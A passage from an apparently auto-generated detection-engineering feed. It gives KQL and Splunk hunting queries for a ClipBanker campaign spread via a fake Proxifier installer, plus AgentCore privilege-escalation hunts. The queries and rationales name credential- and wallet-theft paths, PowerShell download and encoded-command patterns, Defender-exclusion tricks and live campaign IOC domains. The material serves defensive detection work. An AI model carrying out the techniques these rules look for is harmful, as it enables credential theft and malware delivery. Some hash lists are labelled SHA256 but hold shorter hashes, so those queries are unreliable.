"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-0910 use cases5 techniques5 kill-chain phases detected
Threat actors are distributing a Trojan disguised as Proxifier software; through a multi-stage infection chain, it delivers ClipBanker – malware that replaces cryptocurrency wallet addresses in the clipboard.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Article-specific behavioural hunt — The long road to your crypto: ClipBanker and its marathon infection chain
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Scheduled task created with suspicious image / encoded args · File hash IOCs — endpoint file/process match · [LLM] Trojanized Proxifier installer adds Defender exclusion for .tmp + drops Proxifier*.tmp donor · [LLM] Fileless ClipBanker stage-2: PowerShell payload stored at HKLM\SOFTWARE\System Config + logon scheduled task
Command & Control. Beacon to attacker infrastructure for control and tasking. → Network connections to article IPs / domains · [LLM] ClipBanker download chain to campaign-specific paste hosts and maper.info IP-Logger beacon
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Crypto-wallet file/keystore access by non-wallet process · Infostealer — non-browser process accessing browser cookie/login DBs
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("maper.info", "chiaselinks.com", "rlim.com", "paste.kealper.com", "git.parat.swiss", "pinhole.rootcode.ru")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("maper.info", "chiaselinks.com", "rlim.com", "paste.kealper.com", "git.parat.swiss", "pinhole.rootcode.ru")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("maper.info", "chiaselinks.com", "rlim.com", "paste.kealper.com", "git.parat.swiss", "pinhole.rootcode.ru")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7", "107484d66423cb601f418344cd648f12", "34a0f70ab100c47caaba7a5c85448e3d", "7528bf597fd7764fcb7ec06512e073e0", "8354223cd6198b05904337b5dff7772b") or SHA1 in~ ("d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7", "107484d66423cb601f418344cd648f12", "34a0f70ab100c47caaba7a5c85448e3d", "7528bf597fd7764fcb7ec06512e073e0", "8354223cd6198b05904337b5dff7772b") or MD5 in~ ("d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7", "107484d66423cb601f418344cd648f12", "34a0f70ab100c47caaba7a5c85448e3d", "7528bf597fd7764fcb7ec06512e073e0", "8354223cd6198b05904337b5dff7772b")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7", "107484d66423cb601f418344cd648f12", "34a0f70ab100c47caaba7a5c85448e3d", "7528bf597fd7764fcb7ec06512e073e0", "8354223cd6198b05904337b5dff7772b")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("d85cef60cdb9e8d0f3cb3546de6ab657f9498ac7", "107484d66423cb601f418344cd648f12", "34a0f70ab100c47caaba7a5c85448e3d", "7528bf597fd7764fcb7ec06512e073e0", "8354223cd6198b05904337b5dff7772b")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — The long road to your crypto: ClipBanker and its marathon infection chainExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — The long road to your crypto: ClipBanker and its marathon infection chain
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("api_updater.exe", "proxifier.exe", "proxifierupdater.exe", "conhost.exe", "bin.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("api_updater.exe", "proxifier.exe", "proxifierupdater.exe", "conhost.exe", "bin.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
// Registry persistence locations named in the article
DeviceRegistryEvents
| where Timestamp > ago(30d)
| where ActionType in ("RegistryValueSet","RegistryKeyCreated")
| where RegistryKey has_any ("HKLM\SOFTWARE\System")
| project Timestamp, DeviceName, AccountName, RegistryKey,
RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — The long road to your crypto: ClipBanker and its marathon infection chain ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("api_updater.exe","proxifier.exe","proxifierupdater.exe","conhost.exe","bin.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("api_updater.exe","proxifier.exe","proxifierupdater.exe","conhost.exe","bin.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Registry
where Registry.action IN ("created","modified")
AND (Registry.registry_path="*HKLM\\SOFTWARE\\System*")
by Registry.dest, Registry.process_name, Registry.registry_path,
Registry.registry_value_name, Registry.registry_value_data
| `drop_dm_object_name(Registry)`
]
Hunts the Securelist ClipBanker-via-Proxifier campaign's first-stage tell: the malicious wrapper adds Microsoft Defender exclusions for the .tmp extension, the install directory, and later the powershell/conhost processes via Add-MpPreference run in-memory through PSObject. The exclusion list set is highly characteristic of this specific dropper.
Rationale: Combines two article-specific behaviours: (1) the exact Defender exclusion set the Trojan adds (.tmp ext, the install dir, and conhost+powershell processes added later by bin.exe), and (2) the donor stub naming pattern Proxifier<???>.tmp in %TEMP%. Attackers rarely add this exact 4-tuple of exclusions.
Cross-checked against:
• https://cybersecuritynews.com/hackers-use-fake-proxifier-installer-on-github/
• https://gbhackers.com/fake-proxifier-github/
• https://hoploninfosec.com/fake-proxifier-installer-malware-github-clipbanker
ATT&CKT1562.001T1059.001T1036.005
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName in~ ("powershell.exe","pwsh.exe","conhost.exe")
| where ProcessCommandLine has_any ("Add-MpPreference","Set-MpPreference")
| where ProcessCommandLine has_any ("ExclusionExtension","ExclusionPath","ExclusionProcess")
| where ProcessCommandLine has_any (".tmp","Proxifier","conhost.exe","powershell.exe")
| join kind=leftouter (
DeviceProcessEvents
| where FileName endswith ".tmp"
| where FolderPath has_any (@"\Temp\",@"\AppData\Local\Temp\")
| where FileName matches regex @"(?i)Proxifier[^\\]*\.tmp"
| project DeviceId, TmpProcess=FileName, TmpFolder=FolderPath, TmpTime=Timestamp
) on DeviceId
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, TmpProcess, TmpFolder
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parents from datamodel=Endpoint.Processes where Processes.process_name IN ("powershell.exe","pwsh.exe","conhost.exe","api_updater.exe","proxifierupdater.exe","bin.exe") (Processes.process="*Add-MpPreference*" OR Processes.process="*Set-MpPreference*") (Processes.process="*ExclusionExtension*tmp*" OR Processes.process="*ExclusionPath*Proxifier*" OR Processes.process="*ExclusionProcess*conhost*" OR Processes.process="*ExclusionProcess*powershell*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name | `drop_dm_object_name(Processes)` | rename firstTime as firstTime lastTime as lastTime
Hunts the campaign's fileless persistence: a Base64-encoded PowerShell payload is written to HKLM\SOFTWARE\System with value name 'Config', then a scheduled task (reported as 'Maintenance Settings Control Panel', triggering at logon) launches powershell.exe with an inline script that reads, decodes, and executes that registry blob.
Rationale: Registry path HKLM\SOFTWARE\System with value name 'Config' holding a long Base64 PowerShell blob, plus the matching scheduled-task PowerShell launcher that reads + decodes it, is a unique fingerprint named explicitly in the article and corroborated by GBHackers. Few legitimate apps store executable PowerShell under SOFTWARE\System.
Cross-checked against:
• https://cybersecuritynews.com/hackers-use-fake-proxifier-installer-on-github/
• https://gbhackers.com/fake-proxifier-github/
ATT&CKT1112T1027.011T1053.005T1059.001
Data sourcesEndpoint.RegistryEndpoint.Processes
let regWrites = DeviceRegistryEvents
| where ActionType in ("RegistryValueSet","RegistryKeyCreated")
| where RegistryKey has @"SOFTWARE\System"
| where RegistryValueName =~ "Config"
| where isnotempty(RegistryValueData) and strlen(RegistryValueData) > 200
| project Timestamp, DeviceId, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine;
let psReads = DeviceProcessEvents
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine has_any (@"HKLM:\SOFTWARE\System", @"HKLM\SOFTWARE\System", "HKEY_LOCAL_MACHINE\\SOFTWARE\\System")
| where ProcessCommandLine has "Config"
| where ProcessCommandLine has_any ("FromBase64String","Invoke-Expression"," iex","GetValue","Get-ItemProperty")
| project Timestamp, DeviceId, DeviceName, AccountName, InitiatingProcessParentFileName, InitiatingProcessFileName, ProcessCommandLine;
regWrites
| union psReads
| summarize evidence=make_set(pack_all()), kinds=make_set(strcat(iif(isnotempty(RegistryValueData),"reg_write","ps_read"))) by DeviceId, DeviceName, bin(Timestamp,1d)
| where array_length(kinds) >= 1
(| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Registry.process_name) as proc values(Registry.registry_value_data) as data from datamodel=Endpoint.Registry where Registry.registry_path="*\\SOFTWARE\\System*" Registry.registry_value_name="Config" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_name | `drop_dm_object_name(Registry)` | eval ev="reg_write") | append [| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe (Processes.process="*HKLM*SOFTWARE*System*" OR Processes.process="*HKEY_LOCAL_MACHINE*SOFTWARE*System*") Processes.process="*Config*" (Processes.process="*FromBase64String*" OR Processes.process="*Invoke-Expression*" OR Processes.process="*iex*" OR Processes.process="*GetValue*") by Processes.dest Processes.user Processes.parent_process_name | `drop_dm_object_name(Processes)` | eval ev="ps_read"] | stats values(ev) as events values(cmdline) as cmdline values(data) as regdata values(parent) as parent values(proc) as reg_writer by dest user | where mvcount(events)>=1
[LLM] ClipBanker download chain to campaign-specific paste hosts and maper.info IP-Logger beaconCommand & ControlHigh
Hunts host-side network connections to the campaign's known stager URLs (pastebin/snippet.host/rlim.com/paste.kealper.com/chiaselinks.com/git.parat.swiss/pinhole.rootcode.ru/gist.github.com paths) and the maper.info IP-Logger success-beacon. Catches both the in-progress fetch by powershell.exe and the post-install ping confirming infection.
Rationale: All URLs/domains are taken verbatim from the Securelist IOC table (pastebin path FmpsDAtQ, snippet.host/aaxniv, rlim.com/55Dfq32kaR, paste.kealper.com/k3K5aPJQ, git.parat.swiss & pinhole.rootcode.ru rogers7/dev-api, gist msfcon5ol3, github lukecodix/Proxifier) and the maper.info/2X5tF5 IP-Logger success ping. Hits indicate this exact campaign and stage of the chain.
Cross-checked against:
• https://securelist.com/clipbanker-malware-distributed-via-trojanized-proxifier/119341/
• https://cybersecuritynews.com/hackers-use-fake-proxifier-installer-on-github/
• https://hoploninfosec.com/fake-proxifier-installer-malware-github-clipbanker
ATT&CKT1102.001T1105T1071.001
Data sourcesWebNetwork_Resolution
let iocUrls = dynamic(["pastebin.com/raw/FmpsDAtQ","snippet.host/aaxniv","chiaselinks.com/raw/nkkywvmhux","rlim.com/55Dfq32kaR","paste.kealper.com/raw/k3K5aPJQ","git.parat.swiss/rogers7/dev-api","pinhole.rootcode.ru/rogers7/dev-api","gist.github.com/msfcon5ol3","github.com/lukecodix/Proxifier","maper.info/2X5tF5"]);
let iocHosts = dynamic(["maper.info","chiaselinks.com","rlim.com","paste.kealper.com","git.parat.swiss","pinhole.rootcode.ru"]);
DeviceNetworkEvents
| where (RemoteUrl has_any (iocUrls)) or (RemoteUrl has_any (iocHosts))
| extend Stage = case(RemoteUrl has "maper.info","infection_beacon", RemoteUrl has_any ("github.com/lukecodix","gist.github.com/msfcon5ol3"),"final_payload", "stager_fetch")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, Stage
| union (
DeviceEvents
| where ActionType == "DnsQueryResponse"
| extend QueryName = tostring(parse_json(AdditionalFields).QueryName)
| where QueryName has_any (iocHosts)
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl=QueryName, RemoteIP=tostring(parse_json(AdditionalFields).IPAddresses), Stage="dns_lookup"
)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_user_agent) as ua values(Web.user) as user from datamodel=Web where (Web.url="*pastebin.com/raw/FmpsDAtQ*" OR Web.url="*snippet.host/aaxniv*" OR Web.url="*chiaselinks.com/raw/nkkywvmhux*" OR Web.url="*rlim.com/55Dfq32kaR*" OR Web.url="*paste.kealper.com/raw/k3K5aPJQ*" OR Web.url="*git.parat.swiss/rogers7/dev-api*" OR Web.url="*pinhole.rootcode.ru/rogers7/dev-api*" OR Web.url="*gist.github.com/msfcon5ol3*" OR Web.url="*github.com/lukecodix/Proxifier*" OR Web.url="*maper.info/2X5tF5*" OR Web.dest="maper.info" OR Web.dest="git.parat.swiss" OR Web.dest="pinhole.rootcode.ru" OR Web.dest="paste.kealper.com" OR Web.dest="chiaselinks.com") by Web.src Web.dest Web.url Web.http_method | `drop_dm_object_name(Web)`
2026-04-0812 use cases4 techniques6 kill-chain phases detected
Unit 42 reveals "Agent God Mode" in Amazon Bedrock AgentCore. Broad IAM permissions lead to privilege escalation and data exfiltration risks. The post Cracks in the Bedrock: Agent God Mode appeared first on Unit 42 .
CVEsCVE-2025-55182
ATT&CKT1059.001T1190T1195.002T1555.003
Click any ATT&CK pill below to open it on the Matrix
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → DNS tunneling / TXT-heavy domain queries
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement · [LLM] AgentCore SDK auto-create runtime role pulling ECR images (cross-account image exfil) · [LLM] AgentCore execution role reading memory resources of another agent · [LLM] AgentCore SDK runtime role invoking a foreign Bedrock AgentCore runtime
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
DNS tunneling / TXT-heavy domain queriesCommand & ControlMedium
Long subdomain labels + frequent queries to a single 2LD = DNS C2/exfil.
ATT&CKT1071.004T1048.003
Data sourcesNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 53 and isnotempty(RemoteUrl)
| extend qlen = strlen(RemoteUrl)
| where qlen > 50
| extend SecondLevelDomain = extract(@"([\w-]+\.[a-zA-Z]{2,})$", 1, RemoteUrl)
| summarize qcount = count(), uniqueSubs = dcount(RemoteUrl), maxLabel = max(qlen)
by DeviceName, SecondLevelDomain
| where qcount > 100 and uniqueSubs > 20
| order by qcount desc
| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.message_type="QUERY"
by DNS.src, DNS.query
| `drop_dm_object_name(DNS)`
| eval qlen=len(query)
| where qlen > 50
| rex field=query "(?<second_level_domain>[\w-]+\.[\w-]+)$"
| stats sum(count) AS qcount, dc(query) AS unique_subs, max(qlen) AS max_label
by src, second_level_domain
| where qcount > 100 AND unique_subs > 20
| sort - qcount
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
